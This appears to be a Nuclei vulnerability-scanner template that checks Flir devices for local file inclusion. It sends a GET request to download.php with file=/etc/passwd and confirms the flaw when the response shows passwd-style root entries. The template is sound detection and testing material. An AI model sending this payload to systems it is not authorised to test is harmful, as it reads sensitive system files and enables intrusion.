id: flir-path-traversal

info:
  name: Flir - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Flir is vulnerable to local file inclusion.
  reference:
    - https://juejin.cn/post/6961370156484263972
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: flir,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.php?file=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f2b3de329e9c96c3b81998ea58629db19a654eb7cd928e1b81470843ab410783022100aed64705adbc05ab4468414debe1b05fc869d248d4c7d871a478202c7b41d646:922c64590222798bb761d5b6d8e72950